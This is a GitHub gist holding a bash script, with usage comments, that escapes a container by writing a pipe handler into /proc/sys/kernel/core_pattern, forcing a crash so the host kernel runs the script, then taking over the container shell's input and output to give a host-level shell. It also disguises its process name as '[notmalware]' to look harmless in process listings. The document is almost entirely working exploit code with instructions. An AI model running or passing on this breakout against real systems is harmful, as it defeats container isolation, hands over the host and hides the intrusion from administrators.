Skip to content

Instantly share code, notes, and snippets.

@magisterquis
Last active October 28, 2024 16:23
Show Gist options
  • Save magisterquis/0bb2c256d870f198a43f015d7a70869f to your computer and use it in GitHub Desktop.
Save magisterquis/0bb2c256d870f198a43f015d7a70869f to your computer and use it in GitHub Desktop.
Script to escape a container with /proc/sys/kernel/core_pattern reusing the existing shell's stdio
#!/bin/bash
#
# core_pattern_escape.sh
# Simple script to escape a container via /proc/sys/kernel/core_pattern
# By J. Stuart McMurray
# Created 20241026
# Last Modified 20241026
# Drop to /esc (or whatever name) in a container and...
#
# cat </proc/sys/kernel/core_pattern
# echo '|/proc/%P/root/esc' >/proc/sys/kernel/core_pattern
# sh -c 'kill -SEGV $$' & wait
#
# Don't forget to reset /proc/sys/kernel/core_pattern and don't kill the
# escaped shell with kill -9 $$, as it won't SIGCONT the container shell.
#
# Won't directly work if the shell in the container has a pty. Use
# cat | sh | cat to spawn a new one as a workaround.
# NAME is what we'll call our escaped shell.
NAME="[notmalware]"
set -e
# Send output to a readable file for now.
exec >$0.out 2>&1
# Sacrificial shell's directory in /proc
PDIR=${0%%/root*}
# Work out the PID of our container shell
PID=$(cat <$PDIR/stat)
PID=${PID#* }
PID=${PID#* }
PID=${PID#* }
PID=${PID%% *}
if [[ -z "$PID" ]]; then
echo "could not find container shell" >&1
exit 1
fi
# Re-exec and hook it up to our container shell's stdio. Exec has the double
# effects of making it looks less bad in a process listing as well as
# convincing the kernel that the core dump has been handled so the sacrificial
# shell can be waited upon.
exec -a "$NAME" bash <<<"
set -e
# Wait until our sacrificial shell is gone
while [[ -d $PDIR ]]; do :; done # Should be fast
# Stop our container shell from trying to read stdin when we're mooching it.
kill -STOP $PID
# Unstop our container shell on exit.
trap 'kill -CONT $PID' EXIT
# Mooch the container shell's stdio.
exec >/proc/$PID/fd/1 2>/proc/$PID/fd/2
set +e
ps awwwfux; uname -a; id
echo Escape successful :\)
exec </proc/$PID/fd/0
"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment